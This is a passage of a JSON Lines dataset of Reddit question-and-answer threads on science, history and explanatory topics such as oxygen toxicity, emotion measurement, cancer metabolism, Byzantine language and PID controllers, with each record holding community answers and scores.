first get a twist of her being found out, but by the *warrior-princess* Dou Xianniang, who tries to recruit Mulan as a man, but then pledges to keep her secret and becomes sworn sisters.  But by the end of the tale, Xianniang's father is captured by the soon-to-be-Emperor Taizong of Tang, and they surrender themselves to suffer his punishment in his stead.  Taizong sees this as a supreme act of filial piety and (in the book) commute the death sentence of Dou Jiande (in reality, no, Dou was executed), and Mulan sent home to relocate her parents.  Harsh reality sets in, however, when she discovers that her father has died, and her mother remarried.  Worse comes to worst when Taizong's ally the G\u00f6kt\u00fcrk Khan summons her to his capital to become one of his concubines... at which point she decides to commit suicide rather than suffer such a fate.  From Martin W. Huang:\n\n >  Her suicide is particularly baffling since at the time she is not in love or engaged with anyone and since she is only half-Chinese (her father Turkish, but her mother is Chinese).  Hegel provides the possible explanation that this is intended to be a loyalist message: \u201ceven a half-Chinese woman would prefer death by her own hand to serving a foreign ruler.\u201d  Also worth mentioning here is Mulan\u2019s  explanation for why she has masqueraded as a man to join the military: \u201cFeeling ashamed that there were not many loyal subjects and filial sons among men, I decided to take the risk to dress myself as a man.\u201d  Here Mulan is apparently blaming the incompetence of men as one of the reasons that she felt compelled to join the military.  In other words, there would have been no need for her to do so if men had been competent enough to fulfill their duties.\n\nYet even in this telling where her femaleness does result in tragedy, it's again not the emperor or a military officer threatening to cut her down for her womanhood... indeed, though Taizong was prepared to have her and Xianniang executed, that was *because they were captured enemy combatants*, not because they were women. (Hell, Taizong's own sister, Princess Pingyang, was leading her own anti-Sui \"Women Peasant Army\" at this same time... and I should note that the Tang rulers were themselves semi-Turkic). Rather, the issue is having her fate taken out of her own hands as a result: going from being a respected army officer, to being the concubine of a foreign lord."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "d1kyon", "title": "oxygen toxicity with use of supplemental oxygen", "selftext": "My grandma recently started requiring supplemental oxygen at home and the nurse told my family to ensure her SP02 isn\u2019t maintained for long periods of time over 95% because this can lead to oxygen toxicity. She is on a medical grade oxygen concentrator which I have read provides approximately 90-95% pure oxygen. (She uses 1-2 concentrators to provide 4-10lpm as needed to maintain SP02 between 90-95%) How does oxygen toxicity work and how quickly can it occur in a situation like this? Articles I have found online are a bit over my head. Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d1kyon/eli5_oxygen_toxicity_with_use_of_supplemental/", "answers": {"a_id": ["ezmw0va"], "score": [5], "text": ["Does she have COPD? If so the concern is more about CO2 retention. Maybe she meant dependency? Though with home O2 she's already there, but as far as preventing her needing more. And is she using a regular nasal cannula? Those only deliver up to 6 LPM, about 44% oxygen, compared to 21% in the normal air we breathe.\nEdit: we usually think of toxicity with people needing high %, not with chronic supplementation. If I get a chance at work tomorrow I'll look at UptoDate. There's a good looking study that I can access from there. I'm an ICU nurse so it will be good to know a little more about it anyway :)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3wj8mz", "title": "Can emotions be measured scientifically?", "selftext": "Using the neural activity? or Just  like doctors ask patients to describe the pain on a [scale](_URL_1_)? What emotions can be measured, if any? I know they are subjective, but is it easy to rate them on a scale, without much thinking? What does the research on human psychology of moods and emotions show in the regard of measuring one's emotions? What are the most primary emotions everyone experience on a daily basis?\n\nI have so many questions that need some scientific answers related to emotions and moods, I'll add as edit if this question gains some traction.\n\nEDIT: [This](_URL_0_) is much different to my question.  What are the most popular/less controversial techniques and ways used to measure?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3wj8mz/can_emotions_be_measured_scientifically/", "answers": {"a_id": ["cxwlvx6", "cxwptwh", "cxx43l5", "cxxpqlv"], "score": [8, 9, 3, 2], "text": ["Yes, survey methods is a popular way to measure the intensity of emotions. A typical survey uses multiple questions designed to tap the same construct (emotion) in different ways. If I wanted to rate someone's anger, I might create a scale with questions like \"I want to break something\", \"I want to hit someone\", \"I feel angry now\", etc.\n\nA new scale is validated in a variety of ways: ask experts on anger to suggest questions, deliver the scale to several different samples, bring people into a lab and give them the scale then do something to make them angry and give them the scale again to make sure they are scoring higher.\n\nYou don't even need scales. A person trained in recognizing anger could be brought in to give an expert judgment. If the subject does the survey, too, and there is good agreement between the survey and the expert opinion, then you can be pretty confident that you are measuring anger with scientific accuracy.\n\nAny emotion you can think of has likely been measured in some way. The more samples and the more ways the emotion can be observed, the more scientifically valid the measures are.\n\nThe statistics behind the measures are surprisingly complex. Using multiple questions in the same scale means that emotions are measured as a cluster or distribution rather than at one point. Like all distributions, the measure has an average as well as a standard deviation. If I want to show that one person's anger is different from another, I need to assess the degree of overlap in those distributions and confirm that they are significantly different. Then, to have practical value, I need to show that those people behave differently in a given context (i.e., display anger). If I'm using different measures of anger (a survey and an expert opinion), then I need to show how well those measures agree with each other.\n\nPsychologists recognize the subjectivity and do their best to identify and parse-out as many sources of error as possible. This is why they use multiple measures, multiple samples, distributions, etc. The drive to establish legitimacy in psychology has been called \"physics envy\", and its been a great thing for psychology and statistics in general. Some of the statistical innovations that psychologists have developed were cutting-edge and have been applied to what people think of as the \"objective\" sciences, too.\n\nResearch has a lot to say on moods, emotions, and measurement in general. It's kind of a big topic with lots of controversy (some legitimate, but most are \"tempest in a tea cup\" type of thing. Really, you don't need a PhD to know when you're happy or upset. The \"physics envy\" goes a little far sometimes, but its fun to discuss if you're into it).", "**Can we use brain activity?**  *Not reliably*. At present, there isn't good evidence  that emotions correspond to discrete regions, circuits, or networks in the brain ([Lindquist et al., 2012](_URL_1_); [Wager et al., 2015](_URL_3_)).  For example, activation of the amygdala doesn't necessarily indicate fear, and instead likely represents a domain-general process seen across emotions.\n\n**Can we use psychophysiology?**  *Not reliably*. Emotions are partly constituted by changes in your physiology (heart rate, skin conductance, respiration, etc.).  A recent meta-analysis of 160+ studies (using univariate/multivariate machine learning and multilevel modeling) suggests that we cannot differentiate among emotions based on patterns of psychophysiology (Siegel et al., in press).\n\n**Can we use facial expressions?**  *Not reliably*.  The idea that there are some set of universally recognized facial expressions is highly controversial, and there is lots of evidence against it (e.g., [Aviezer et al., 2008](_URL_4_); [Barrett et al., 2011](_URL_7_); [Lindquist et al., 2014](_URL_2_); [Russell, 1994](_URL_5_), etc.).  The context seems to play a much larger role than the face in emotion perception.\n\n**Can we use behaviors?** *Not reliably.*  The behaviors that coincide with your emotions are constrained by the environment (e.g., \"Can I run away or not?\"), not necessarily the emotion.\n\nSo at present, there aren't really any **reliable** and **perceiver-independent** (i.e., objective) measures of emotion.  From sample to sample, context to context, the correspondence between the measure and the emotion may change.  So we must rely on **self-report**.  \n\nHowever, according to certain contemporary theories of emotion, self-report is the only way to truly know what emotion the person is experiencing (see [Barrett, 2014](_URL_0_))--apart from technological and theoretical advances in neuroscience.  On this view, emotions are just interpretations of your situated affect, and so correspond to a heterogeneity of instances that are held together by some perceived statistical regularity.  They are not \"natural kinds\" or entities to be found in your brain ([Barrett, 2006](_URL_6_))--instead, they're constructed from more domain-general processes involved across different psychological functions.\n\nEdit: clarification", "Neuropsychologist here - \n\nYes - emotions can be measured with psychological tests and with fMRI, EEG, and SPECT scans. Psychological tests include the MMPI-2, MCMI-IV, PAI, BDI, BAI, etc., in addition to many others. These are considered \"objective\" measures of emotional and personality functioning because of the criterion keying method of determining if someone's level of a certain emotion (e.g., anxiety) is high or low as compared to a representative population sample. For example, if I know what the \"average\" amount of depression that is self-reported in a \"normal/non-clinical\" population, I can then give this test to someone and determine \"how much\" depression they have in relation to that average. It is not a perfect method, but it is very reliable and when combined with clinical intuition/experience, can add an incredible degree of incremental validity to the \"measurement\" of emotions. \n\nFrom a neuroscience standpoint, emotions do indeed have specific regions of the brain where \"primitive\" subjective perceptions of \"feelings\" are processed. This is called the limbic lobe (which is not really a lobe), and it consists of the cingulate gyrus, amydala, hippocampus, mammillary bodies, fornix, olfactory bulb (yes, I would include the olfactory bulb), in addition to all of those being connected to various networks throughout the brain - particularly the frontal/pre-frontal cortex. The \"fight or flight\" response is a good example of this. Another good example is the fact that bipolar disorder (i.e., extreme fluctuations in mood/energy level) is theorized as being related to seizure-like activity in the brain. This is why anticonvulsants are used to treat both seizures and bipolar disorders. \n\nI know there is much more to say about emotions and perhaps one could argue with my points above. However, I must get back to work now. I'll check in later to see if anyone has any other thoughts or questions. ", "It is far more easier to measure things associated with emotions. You can realiably measure whether a persons eyes are emitting tears but that can't be used as a proxy for tearless sadness.\n\nYou can try to measure in which position a persons face is. But the difference between a nervous smile and a smile of joy might not be big when measured as muscle tension.\n\nA lot of that isn't so much about being difficult to measure but getting a definition that is exhaustive or appropriate to the task at hand."]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/askscience/comments/3wgyoo/emotions_like_anger_are_often_conceptualized_as/", "https://en.wikipedia.org/wiki/Pain_scale"], "answers_urls": [[], ["http://emr.sagepub.com/content/6/4/292.short", "http://journals.cambridge.org/action/displayAbstract?fromPage=online&aid=8593980&fileId=S0140525X11000446", "http://psycnet.apa.org/journals/emo/14/2/375/", "http://journals.plos.org/ploscompbiol/article?id=10.1371/journal.pcbi.1004066", "http://pss.sagepub.com/content/19/7/724.short", "http://psycnet.apa.org/journals/bul/115/1/102/", "http://pps.sagepub.com/content/1/1/28.short", "http://cdp.sagepub.com/content/20/5/286.short"], [], []]}
{"q_id": "5s3wgj", "title": "Why does solar output fluctuate?", "selftext": "I have been reading about prehistoric climate change and it seems that changing solar forcing has often been a very important factor. What causes these various increases and decreases in solar radiation?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5s3wgj/why_does_solar_output_fluctuate/", "answers": {"a_id": ["ddcckhz", "ddcizg5"], "score": [16, 2], "text": ["Solar output is not the same as solar forcing.\n\nSolar output, as received on Earth, is called [solar irradiance](_URL_0_). It changes very, very slightly in a cycle (0.05% roughly every 11 years). Any cycles beyond these have only weak or indirect evidence.\n\nSolar or [radiative forcing](_URL_1_) is the difference between that energy and what is reflected back into space. Reflection is mostly affected by clouds, surface ice and atmospheric gases and this effect is many times greater than any change in solar irradiance.", "Solar output fluctuates because the number of sunspots fluctuates.  Sunspots appear as dark spots on the surface of the sun.  These increase and decrease in a cycle like this:\n _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Solar_cycle#Solar_irradiance", "https://en.wikipedia.org/wiki/Radiative_forcing"], ["https://solarscience.msfc.nasa.gov/images/Zurich_Color_Small.jpg"]]}
{"q_id": "4nx5e9", "title": "Why do cancer cells consume so much sugar?", "selftext": "Stumbled across a method of diagnosing cancer in which the patient is given slightly irradiated sugar, and as the cancerous cells consumed more sugar than non cancerous cells, they were  \"highlighted\" so to speak.  \nAdditionally, could there be a way of \"spiking\" sugar with a toxin that needs to reach a certain concentration in a cell for it to have an effect, so would only affect the cancer cells as they would consume more sugar than non-cancerous cells?   \n", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4nx5e9/why_do_cancer_cells_consume_so_much_sugar/", "answers": {"a_id": ["d47qqpj", "d47wqhv", "d49cp5e"], "score": [29, 7, 2], "text": ["Cancer by definition is unrestricted cell growth and replication. This activity requires high metabolic activity and therefore consumes higher than normal amounts of glucose. In a PET scan (positron emission tomography) we use this fact to find areas that are highly metabolically active, such as tumors or more specifically, metastases. \n\nUsing glucose as a vehicle to target cancer cells isn't really a viable option since the whole body uses glucose whether the tissue is dividing or not. For example, cells in the brain do not divide but consume a huge portion of the body's glucose. Lacing sugar with a toxin would be catastrophic.\n\nWe take advantage of the fact that malignant cells grow and divide without restriction by using chemotherapeutic agents that disrupt cell division or DNA replication. An unfortunate side effect of this is that any other areas of the body that have high cell turnover are also effected (bone marrow, lining of the gut, hair follicles etc). Some chemo agents tag specific cancer proteins or receptors as well, making them targets for the immune system. \n\nCancer is a very misunderstood disease by most people. Some cancers are highly curable because we've discovered a specific target to act against, one notable example is a type of leukemia cured by all-trans retinoic acid (vitamin A). Other cancers are so malignant the only treatments we have a palliative. There may never be a 'cure for cancer' because there are so many types of cancers and so many ways for the cell cycle to lose its regulatory mechanisms and run amok. Hope this answers your question and clears a few things up for you. ", "In addition to /u/baloo_the_bear 's points, cancers often have a modified metabolism, called the Warburg Effect.  Basically, cancer cells, even in oxygen-rich environments, will use anaerobic respiration as a means of generating energy.  This generates only about 5% of the amount of ATP that normal oxidative phosphorylation (the process that goes on inside the mitochondria) does.  In order to make the same amount of energy, then, a cancer cell using the Warburg Effect would have to consume twenty times more glucose than a normal cell.", "It's called the Warburg Effect.  Don't quote me on this, but it may be due to the fact that cancer cells are incredibly dysfunctional and their mitochondria have just died out or have become too messed-up to operate properly.\n\nBecause cancer cells replicate like crazy (this process is very energy-intensive) they desperately need to make up for the deficit in energy by upregulating glycolysis.  What's also interesting is that at they rate they process energy, cancer cells can't break down the toxic byproducts of glycolysis, mostly lactic acid.\n\nWhat happens then is that \"successful\" cancer populations will evolve in sync with other local cells that take up the slack.  Cancer cells consume sugar like crazy and piss out loads of lactic acid, and in turn these local cells that have been enslaved to serve the cancer (fibroblasts which become activated into Cancer-Associated Fibroblasts) will break down the lactic acid for them.  This is known as the \"reverse Warbug effect.\"\n\nThere's preclinical research out there that shows breaking this relationship between cancer cells and CAFs can dramatially hinder cancer development, but it's very difficult to translate into treatments in humans."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ka52m", "title": "What is the evolutionary purpose of the lyrebird's mimicry?", "selftext": "_URL_0_\n\nThe lyrebird can mimic almost any sound it hears. In nature, this would obviously include the other birds and animals in its environment. So my question is... why? What evolutionary advantage is there for the lyrebird in being able to do this?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ka52m/what_is_the_evolutionary_purpose_of_the_lyrebirds/", "answers": {"a_id": ["c2in25w", "c2in25w"], "score": [5, 5], "text": ["I'm not an expert, but I assume it's a mechanism for sexual selection. The lyrebird uses it's ability to mimic to build complex mating calls to attract females. Evolutionarily speaking, this shows that the male displays \"good genes\". He's healthy enough to meet all of the basic requirements of growth/development and still has the energy to produce a complex song. This ability to allocate enough energy toward non-survivorship behaviors shows that he is a good mate. ", "I'm not an expert, but I assume it's a mechanism for sexual selection. The lyrebird uses it's ability to mimic to build complex mating calls to attract females. Evolutionarily speaking, this shows that the male displays \"good genes\". He's healthy enough to meet all of the basic requirements of growth/development and still has the energy to produce a complex song. This ability to allocate enough energy toward non-survivorship behaviors shows that he is a good mate. "]}, "title_urls": [], "selftext_urls": ["http://www.youtube.com/watch?v=WeQjkQpeJwY"], "answers_urls": [[], []]}
{"q_id": "14ks96", "title": "What was music like in the Roman Republic/Empire? Was there anything close to an orchestra in scale?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/14ks96/what_was_music_like_in_the_roman_republicempire/", "answers": {"a_id": ["c7dzzjn", "c7e19ha", "c7e7g9i", "c7eai4z"], "score": [31, 7, 6, 3], "text": ["Unfortunately, there apparently aren't any [surviving musical manuscripts](_URL_0_) from the Romans themselves. There is a surviving complete Greek song, the [epitaph of Seikilos](_URL_1_), which is dated anywhere from 200 BC (late Hellenistic age) to 100 AD (early Roman empire). There's also the [Delphic Hymns](_URL_2_), which don't survive in a complete form but predate the Sikilos Epitaph. It's difficult to say how much this music resembles Roman music of the time. The Romans were heavily influenced by the Greeks, of course, but they are different cultures.\n\nThese songs also probably weren't in the modern 12-tet scale, but Greeks did develop the Pythagorean scale (as one of their scales), and 12-tet is and the Pythagorean scale are very similar. I would assume that these are written for the Pythagorean scale, if they're approximating it with 12-tet, but unfortunately none of the sources I can find seems to consider information like that important enough to transmit.", "I seem to remember from my music history class that we have what equates to about 25 seconds of roman music, but u/watermark0n mentioned earlier that there are not, so I may be completely and utterly mistaken upon that remark.\n\nWhat I can tell you is that the orchestra as we know it started to become standardized in the 17th century, with early Pre- or Proto- orchestras made up of combined consorts in the 16th century. Really the sort of orchestra you would go to see on a friday night now was still \"under construction\" up until the 19th century, or arguably even later. Large instrumental ensembles aren't really around - to my knowledge - until the late 16th century.\n\nForgive me, I'm still a student and I'd love to be corrected on this if it's incorrect, but this is what i know from what I've researched.", "Random information I've learned as a result of a paper I just did on gladiators: \n\n* Instruments were used during gladiatorial competitions to heighten the drama of the event. At least horns and the water organ can be seen in the [Zliten mosaic](_URL_0_). \n* Horns were also typically used for funerals.", "I am also very interested in this. Is there any evidence for music in taverns? Was music a popular form of entertainment and was is readily available for the masses?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Music_of_ancient_Rome", "http://www.youtube.com/watch?v=9RjBePQV4xE", "http://www.youtube.com/watch?v=3MMI06AnhtM"], [], ["http://upload.wikimedia.org/wikipedia/commons/8/8d/Bestiarii.jpg"], []]}
{"q_id": "7y07fi", "title": "Would it be fair to describe the United States from 1877 to 1960 as an apartheid state? If not, what were the differences?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7y07fi/would_it_be_fair_to_describe_the_united_states/", "answers": {"a_id": ["ducw3af", "dud745m"], "score": [191, 4], "text": ["Let's start with a general introduction to the South African apartheid state of 1948-1991 which generated the name for an 'apartheid' system. If you have the time, you can take a look at Worden's excellent introduction to the general history of the country and its political system. \n\nBroadly, the colony that would become the independent state of South Africa had a preexisting racial hierarchy based primarily on land ownership (and therefore economic power in an agrarian society). This skips over a significant chunk of the political interplay between the various colonial parts that would come together into South Africa. However, in order to maintain this power post independence, the white minority constructed a legal framework for \"separateness\" between the constituent races of country (White, Black, 'Mixed', and Indian). These laws and the culture enforced by them resulted in some very specific things that stand out: massive involuntary relocation of majority populations; the creation of defacto 'states' for the unwanted majority to stay in; and the systematic creation of a narrative regarding the history of the country to justify these moves. \n\nThe reason why I drew these three things out is because they serve as *key* points of comparison to look at the United States in the post Civil-War era. I'm relying heavily on the below text by Lassiter (which I've read most recently). There are plenty of sources that cover this material and even your question including Kushner's work.  On the first point, while there was a significant amount of population movement in the US (particularly post 1910 - The Great Migration), it would be a reach to call this intentional and organized relocation of populations by the federal state. On the second point, there is no case where the US, or any of its constituent states created a fictional legal framework of sub-states or territories to corral and otherwise contain African Americans to a specific geographical area. On the third point; there was the creation of a myth to justify the history of the South, slavery and its role in the Civil War (e.g. \"State's Rights\") and the follow on Jim Crow-era petty segregation laws.\n\nSo, yes, there were a significant number of similarities between the two regimes. Petty apartheid laws were abundant; clear cultural distinctions were made between groups based solely on skin color; a narrative was constructed to justify these acts. On the other hand, the scale and scope of the legal actions taken by the minority white community on the majority black community were different and guided by the geographical reality and history of each country. In some ways, due to the preeminence of the US Federal Government and its dilution by Northern/Western states means that the apartheid structure in the US was vastly less centralized, much less systematic and much less obvious than in South Africa. \n\nSourcing:\n\n\n > Kushner, James A. Apartheid in America: An Historical  &  Legal Analysis of Contemporary Racial Segregation in the United States. Associated Faculty PressInc, 1980.\n\n > Lassiter, Matthew D., and Joseph Crespino, eds. The myth of Southern exceptionalism. Oxford University Press, 2009.\n\n > Worden, Nigel. \"The making of modern South Africa: Conquest, segregation and apartheid.\" The English Historical Review 111.443 (1996): 1016-1018.\n\n", "Would the apartheid regime not apply to native Americans pre voting rights then?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6b1ygx", "title": "Were there any \"Byzantines\" before Heraclius who contemplated changing the imperial language to Greek?", "selftext": "It just seems odd that well over a century passed between 476 and when Heraclius made the change. Even considering Justinians' reconquests. I mean educated Romans favored Greek over Latin since the late republican era anyways. Why didnt an emperor before Heraclius do it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6b1ygx/were_there_any_byzantines_before_heraclius_who/", "answers": {"a_id": ["dhjf9os"], "score": [14], "text": ["I have to begin by pointing out that the evidence for Heraclius changing the official language of the empire is minimal, as it is dependent on one of Heraclius' edict in 629, which included in his titulature this important phrase '\u03c0\u03b9\u03c3\u03c4\u1f78\u03c2 \u1f10\u03bd \u03a7\u03c1\u03b9\u03c3\u03c4\u1ff7 \u03b2\u03b1\u03c3\u03b9\u03bb\u03b5\u03cd\u03c2' (transliteration: 'pistos en Christo basileus') - 'emperor, faithful in Christ'. The gist of the argument is this: previously, official documents were written in Latin and Greek sources would have used 'autokrator' to refer to the emperor, the Greek translation of the Latin 'imperator' (a relic of the Romans' aversion to anything monarchical). 'Basileus', however, definitely had a royal connotation and is previously only used to refer to 'barbarian' kings and the emperor of Persia. As a result, when Heraclius referred to himself as a 'basileus', this was viewed as an important turning-point, as the use of this Greek word can be seen as an indication of a change in the official language of state and a wider cultural shift within the Roman state.\n\nUnfortunately, I don't think this argument, originating in Ostrogorsky's *Geschichte des byzantinischen Staates* (1940), stands up to scrutiny today. For one thing, we know that Greek was already used within the imperial bureaucracy, perhaps as early as the fifth century under Theodosius II, as a praetorian prefect then allegedly issued laws in Greek. Nor was this a unique occurrence. From Christopher Kelly's excellent *Ruling the Later Roman Empire* (2004):\n\n >  In 397 the emperors Arcadius\n >  and Honorius had allowed provincial governors to issue their judgments\n >  in Greek. In September 439, Theodosius II confirmed the validity\n >  of wills written by Roman citizens in Greek. By the turn of the\n >  fourth century, Latin was no longer the language of instruction at the\n >  empire\u2019s most prestigious law schools in Constantinople and Berytus\n >  (modern Beirut). Legal textbooks and commentaries were written in\n >  Greek. From the mid-530s on, most of Justinian\u2019s legislation (unless\n >  specifically directed at the Latin-speaking West) was promulgated in\n >  Greek. His law of 535 ratifying the mid-fifth-century emperor Leo\u2019s\n >  regulations on the alienation of property by religious foundations set\n >  out the advantages of this change simply and clearly. \u201cWe decree that\n >  this law [of Leo] shall be valid in all these matters, and we confirm it.\n >  And for this reason we have promulgated and caused it to be written\n >  not in the language of our ancestors but in everyday speech, that is, in\n >  Greek, so that through ease of understanding it might become known\n >  to all.\u201d\n\nMore evidence can be found in the sixth century. John Lydus, a bureaucrat working in Constantinople, complained bitterly that less and less officials were learning Latin - for him, knowledge of Latin was an essential part of being Roman. His contemporary, Procopius, also noted that (albeit in a text written to diminish Justinian):\n\n >  He [Justinian] then appointed Junilus (a Libyan by birth) [as the quaestor], a man who had not so much as a hearsay knowledge of law, for he had not even studied it in the public schools. Although he had a knowledge of Latin, he had never had any tuition in Greek, and was unable to speak the language. Frequently, when he attempted to say a few words in Greek, he was laughed at by his own servants.\n\nIn both cases, it is clear that the use of Latin was nowhere near universal within the upper echelons of power. Of course, this did not mean that Greek was now the official language, since Latin was evidently still being used, most dramatically in Heraclius' silver coinage, which featured the Latin phrase 'Deus adiuta Romanis' - 'God, help the Romans!'.\n\nAs a result, I don't think we can definitely say that Heraclius changed the language of state during his reign - at most, he was making official informal trends. As /u/Growlinghamster pointed out [in this thread](_URL_0_), 'the use of the title \u201cBasileus\u201d wasn\u2019t some radical, out of left field change that Heraclius just sprang on his unsuspecting subjects'. The same, I think, was true for the usage of Greek - we simply don't have any evidence that any emperor had deliberately changed the 'official' language (especially since the empire still possessed territories in the Latin West). To prove this, we would probably need a surviving legal text or an extensive discussion of the edict in a historical source, none of which exist to my knowledge. It is better, I think, to view the changing prominence of Latin and Greek within the Roman Empire as a gradual thing, rather than a sudden transition, since this interpretation fits better with the evidence we do have."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/355hb6/what_does_it_imply_when_heraclius_adopted_the/cr1iyah/"]]}
{"q_id": "dx5p47", "title": "Can other species get Down syndrome/trisomy 21?", "selftext": "Some species don\u2019t have 21 pairs of chromosomes but can they get a Down syndrome like disorder ?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dx5p47/can_other_species_get_down_syndrometrisomy_21/", "answers": {"a_id": ["f7nk3op", "f7nljjq", "f7ntsf3", "f7oax8c", "f7oil32"], "score": [3528, 298, 262, 4, 18], "text": ["Due to the differences in the genomes, there is no direct equivalent to Down syndrome in animals, but they can get trisomies. One example is trisomy 28 in cattle, which is usually fatal shortly after birth or during gestation. Another example is trisomy 16 in mice, which is used as a limited model for human trisomy 21.", "Animals can be born with genetic defects similar to Down syndrome, but not that exact condition. However, other great apes can have a similar defect.\nDown syndrome is a sort of defect called a chromosomal abnormality, meaning that either there is an extra chromosome or an excessive repetition of the same genes on a particular chromosome. In the case of Down syndrome, that repetition is in on a region of the 21st chromosome. Similar abnormalities in other chromosomes are possible, such as the abnormality which causes Edwards syndrome (trisomy 18).\nAlthough other animals do of course have chromosomes, they have different chromosomes than humans do. For instance, a horse has 32 pairs of chromosomes whereas a human has 23 pairs. Other great apes are most similar to humans having 24 pairs of chromosomes. Therefore, if trisomy is found, other great apes would be most likely to have the most similar form.\nEssentially, due to differences in the genomes, there is no direct equivalent, however other animals can get trisomies.\n\nThe area on chromosome 21 in humans that is responsible for trisomy is found analogously on chromosome 22 in other great apes.\nTrisomy 22 is a chromosomal disorder in which there are three copies of chromosome 22.\nThese apes can exhibit a genetic defect comparable to Down syndrome.", "Does anyone else remember Kenny, the inbred white tiger? I remember people saying he had Down's Syndrome, but apparently that's not true.\n\n\"The diagnosis of Down\u2019s Syndrome is also questionable. [Down\u2019s Syndrome](_URL_1_) results from a third copy of chromosome 21. Although a mouse model for Down\u2019s Syndrome exists, tigers have 19 chromosomes to humans\u2019 23. While Kenny\u2019s face does bear a superficial resemblance to that seen in people with Down\u2019s Syndrome, it\u2019s far from clear that this was the result of a third copy of any chromosome, let alone one that could be matched to our 21st.\n\nWhat is clear is that Kenny was a victim of the greed of the breeding industry. White tigers are very rare. With so few of them, the genetic pool is limited, and inbreeding is an inevitable consequence. Kenny\u2019s parents were brother and sister. Most of his siblings were stillborn, or died very young, according to Patricia Quinn, a spokesperson for Turpentine Creek Wildlife Reserve, where Kenny lived from the age of two.\"\n\n[_URL_0_](_URL_0_)", "The chromosomes are numbered simply by apparent (visual) size in karyogram, so in other species the chromosome number (and effects) would be different, in case that wasn't obvious. I also think that without highly developed culture and healthcare such individuals would be unlikely to surive to adulthood. An interesting analogy is the human chromosome 2 which resulted from fusion of two ancestral primate chromosomes; humans could, in a very extended sense, be viewed as apes with a Down syndrome. Obviously, the symptoms were not similar. But as a consequence, the ape equivalent is trisomy 22:  [_URL_0_](_URL_0_)", "Human Down syndrome is a result of having a triplicate of many (most?) of the genes on chromosome 21.  Because the equivalent genes are on different chromosomes (and not all on the same different chromosome, but shuffled) in other animals there may be no exact equivalent.  That said there will be similar results with a triplicate chromosome in an other animal that has many of the same genes as human chromosome 21.\n\nThe best demonstration of the above, is that to create a superior Down Syndrome model mouse, the solution was [to put most of a whole human chromosome 21](_URL_0_) into mice.  This way there is a \"triplicate\" of all the genes one would find on a human chromosome 21 in the mouse, which couldn't be done by making a triplicate of any one mouse chromosome \u2013 its just the \"mouse effective trisomy 21\" is represented by 2 copies of each of the relevant mouse genes scattered across many mouse chromosomes, and then the \"triplicate\" is created with an additional copy of the relevant genes ... just a human copy all lumped together on one human chromosome 21.  The behavior of these genes even across species is similar enough that this human 21 copy \"Down Syndrome\" mouse is a really good model of down syndrome in mice, probably the best yet."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.iflscience.com/plants-and-animals/kenny-white-tiger-reveals-price-inbreeding/", "http://www.sciencedirect.com/science/article/pii/S014067360312987X"], ["https://www.ncbi.nlm.nih.gov/pubmed/28220267"], ["https://www.ncbi.nlm.nih.gov/pubmed/11371509"]]}
{"q_id": "4sex9k", "title": "pid controllers", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4sex9k/eli5_pid_controllers/", "answers": {"a_id": ["d58shzk", "d58slqg", "d58syj3", "d58yjag"], "score": [2, 12, 3, 3], "text": ["PID = Proportional, Integral, Derivative.\n\nThe controller works with an error quantity, how far is the thing being controlled from where it needs to be?  Proportional control would be to drive the motor in proportion to the error signal.  The Derivative is just the rate of change of the error signal, possibly simply the change in the error since last time round the control loop.  The Integral can just be the sum of error signals.\n\nA PID controller drives the motor (or whatever) with a signal that is the sum of: Kp times the error plus Kd times the derivative plus Ki times the integral.  The hard part is choosing the best values for Kp, Kd and Ki.", "PID stands for proportional, integral, and derivative.\n\nYour system is in a state, let's call it X. It has a set point it should be at, which we'll call Y. The error, E, is X-Y. For example with a thermostat, X might be your room temperature and Y is your set temperature.\n\nProportional is easy. Let's say you want your room to be a nice 72\u00b0F (Y), but it's actually 78 (X). So your error is 6\u00b0. The proportional control applies a corrective action proportional to the error - so maybe it runs your AC on medium, while if it were 82 inside it would run it on high and if it were 74 it would run it on low.\n\nThe other parts have to do with calculus. I'll try to keep it light. Integral takes into account the sum of errors at previous times. Basically you can think of it as the error multiplied by a time interval that it was at that error - true integrals make that time period infinitely small but real systems just make it into a small chunk. So maybe 10 minutes at 76, 10 at 75, 10 at 74 as the room cools down. If your system is heading towards the set point too slowly, the integral error builds up and makes the correction stronger. In this case maybe it turns the AC on high if it's taking too long. So it helps with response time.\n\nDerivative is how fast the error is changing. So with the above example you're cooling the room by a degree every ten minutes, which means the error is shrinking by a degree every ten minutes. By keeping track of this you help prevent overshoot - like making your room too cold, where the system would then try to kick on the heater. ", "PID stands for Proportional Integral Derivative, the types of gains that the controller works with.  These 3 gains use the systems error different ways, and they are just numbers you set (think 3 knobs you set before you hit go).\n\nFirst, error, in this case we mean difference between what you want and what you have.  Like I want to be 2 feet from the wall, but am only 1.5 feet, so the error is 0.5 feet.\n\nProportional gain is just multiplied by the error (i.e. what is currently wrong).  This helps define the basic response, does it slowly rise up, does it oscillate a bunch (I.e. is the system under/over/critically damped)\n\nIntegral gain is multiplied by the integral (or sum) of your error. (i.e. it looks at the history of your error).  This helps with a long term issues, like when the system will settle to close but not quite right, integral error can zero your error in the long term, but 